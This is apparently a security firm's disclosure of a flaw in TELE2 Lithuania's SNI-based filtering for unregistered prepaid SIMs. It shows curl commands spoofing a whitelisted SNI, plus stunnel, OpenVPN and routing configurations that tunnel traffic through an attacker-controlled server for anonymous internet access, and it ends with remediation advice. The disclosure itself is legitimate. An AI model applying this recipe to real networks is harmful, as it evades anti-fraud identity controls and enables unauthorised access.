As of January 1, 2025, Lithuania has implemented mandatory registration for new prepaid SIM cards to combat fraud and criminal activities. Registration can be completed online through mobile operators’ platforms or in person at authorized stores using an official ID, such as a passport or national identity card. This measure does not affect existing prepaid SIM card users; they are not required to register their details.
While a SIM card is in an unregistered state, a mobile user can choose from various identity verification methods, such as online banking or document scanning. This allows unregistered mobile users to access a limited number of whitelisted websites, such as e.sb.lt, e.seb.lt, idvs.ondato.com, and other sites that serve as identity providers.
It was discovered that instead of whitelisting IP addresses, TELE2 uses SNI-based web filtering. This method blocks or controls access to websites by inspecting the Server Name Indication (SNI) field in the TLS handshake, which identifies the domain name the client is attempting to connect to. A malicious mobile user can exploit this setup to gain an anonymous, unlimited (?) mobile internet connection.
In this attack scenario, USB tethering is used to share the mobile internet connection with a Linux system. The following output demonstrates that when an unregistered mobile user attempts to access an arbitrary non-whitelisted website (e.g. critical.lt) using the plain-text HTTP protocol, the user is immediately redirected to the pildyk.lt website, where SIM card registration can be completed:
curl -v http://critical.lt
* Host critical.lt:80 was resolved.
* IPv6: (none)
* IPv4: 168.63.68.36
* Trying 168.63.68.36:80...
* Connected to critical.lt (168.63.68.36) port 80
> GET / HTTP/1.1
> Host: critical.lt
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved temporarily
< Location: https://pildyk.lt
< Connection: close
<
* Closing connection
An attempt to access a non-whitelisted website using the encrypted HTTPS protocol results in a connection reset during the TLS handshake, following a successful TCP connection:
curl -k -v https://critical.lt * Host critical.lt:443 was resolved. * IPv6: (none) * IPv4: 168.63.68.36 * Trying 168.63.68.36:443... * Connected to critical.lt (168.63.68.36) port 443 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * Recv failure: Connection reset by peer * OpenSSL SSL_connect: Connection reset by peer in connection to critical.lt:443 * Closing connection curl: (35) Recv failure: Connection reset by peer
This time, an attempt is made to establish a TLS connection to the IP address of a non-whitelisted website by providing a whitelisted SNI value. In the following example, the “–resolve” option of the curl command is used to specify that the whitelisted domain status.onfido.com should resolve to the IP address 168.63.68.36 (associated with critical.lt), instead of the IP address provided by DNS. This forces the curl tool to set the TLS SNI parameter to status.onfido.com.
The output shows that the SNI-based web filtering was successfully bypassed, and the main page of the critical.lt website was returned:
curl -k -v --resolve status.onfido.com:443:168.63.68.36 https://status.onfido.com/ * Added status.onfido.com:443:168.63.68.36 to DNS cache * Hostname status.onfido.com was found in DNS cache * Trying 168.63.68.36:443... * Connected to status.onfido.com (168.63.68.36) port 443 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 / X25519 / RSASSA-PSS * ALPN: server accepted http/1.1 * Server certificate: * subject: CN=critical.lt * start date: Jan 29 17:56:37 2025 GMT * expire date: Apr 29 17:56:36 2025 GMT * issuer: C=US; O=Let's Encrypt; CN=R10 * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * Certificate level 1: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption * using HTTP/1.x > GET / HTTP/1.1 > Host: status.onfido.com > User-Agent: curl/8.5.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx < Date: Sun, 02 Mar 2025 21:37:07 GMT < Content-Type: text/html < Content-Length: 63030 < Last-Modified: Wed, 15 Jan 2025 16:17:30 GMT < Connection: keep-alive < ETag: "6787df9a-f636" < Accept-Ranges: bytes < <!DOCTYPE html> <html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="profile" href="//gmpg.org/xfn/11">
<link rel="pingback" href="/xmlrpc.php">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Critical Security – Security Today</title>
[...]
Further attack steps involve establishing a TLS tunnel with a server controlled by the attacker and routing an OpenVPN connection through it. For example, on the server side, the attacker could deploy the stunnel tool with the following configuration file, which redirects incoming TLS-encapsulated connections on port 443 to the local TCP port 4443:
setuid = stunnel4 setgid = stunnel4 foreground = yes
[https-tunnel]
accept = 443
connect = 4443
cert = /etc/stunnel/stunnel.pem
On the same server, OpenVPN is configured to accept connections on the local port 4443 using TCP, instead of the default UDP protocol:
local 127.0.0.1 port 4443 proto tcp dev tun ca ca.crt cert status.onfido.com.crt key status.onfido.com.key dh dh.pem topology subnet server 10.8.0.0 255.255.255.0 ifconfig-pool-persist /var/log/openvpn/ipp.txt keepalive 10 120 persist-key persist-tun status /var/log/openvpn/openvpn-status.log verb 3 explicit-exit-notify 1
On the client system, stunnel is configured to redirect incoming connections on the local port 4443 to the server controlled by the attacker. The key setting here is the sni parameter, which must be set to one of the whitelisted domains, in this case, status.onfido.com is used:
setuid = stunnel4 setgid = stunnel4 foreground = yes
[https-tunnel]
client = yes
accept = 127.0.0.1:4443
connect = attacker_server:443
sni = status.onfido.com
Similar to the server configuration, the client-side OpenVPN configuration is adjusted to connect to the local TCP port 4443 using the TCP protocol. Additionally, the up and down directives are used to execute custom scripts when the OpenVPN connection is established or terminated, respectively:
client dev tun proto tcp remote 127.0.0.1 4443 resolv-retry infinite nobind persist-key persist-tun ca ca.crt cert myclient1.crt key myclient1.key remote-cert-tls server verb 3 script-security 2 up /etc/openvpn/add_routes.sh down /etc/openvpn/del_routes.sh
For example, the add_routes.sh script updates DNS resolver settings and ensures that all network traffic is routed through the VPN tunnel, while keeping the TLS tunnel unaffected:
#!/bin/sh
sudo ip route add attacker_server via $(ip route | grep default | awk '{print $3}') dev usb0
sudo ip route add 0.0.0.0/1 via 10.8.0.1 dev tun0
sudo ip route add 128.0.0.0/1 via 10.8.0.1 dev tun0
echo "nameserver 8.8.8.8" | sudo tee /etc/resolvconf/resolv.conf.d/head > /dev/null
sudo resolvconf -u
Finally, the TLS tunnel is established first, and the VPN connection is then tunneled through it:
stunnel4 stunnel.conf openvpn client.conf
Internet connectivity can be verified by executing the ping command:
ping google.com PING google.com (74.125.193.100) 56(84) bytes of data. 64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=1 ttl=103 time=86.3 ms 64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=2 ttl=103 time=88.0 ms 64 bytes from di-in-f100.1e100.net (74.125.193.100): icmp_seq=3 ttl=103 time=84.3 ms ^C --- google.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2004ms rtt min/avg/max/mdev = 84.321/86.216/88.022/1.512 ms
To address this security issue, TELE2 should replace the current SNI-based web filtering with IP whitelisting, allowing access only to authorized IP addresses. This approach will ensure that traffic is restricted to approved destinations, preventing malicious users from bypassing security controls. Additionally, implementing DNS filtering will further enhance network security by blocking DNS tunneling attempts.
Critical Security was established in 2007 by a group of cyber security enthusiasts. Since its establishment, the company has been providing high-quality security assessments and penetration tests to various organizations, helping them identify and mitigate potential security threats.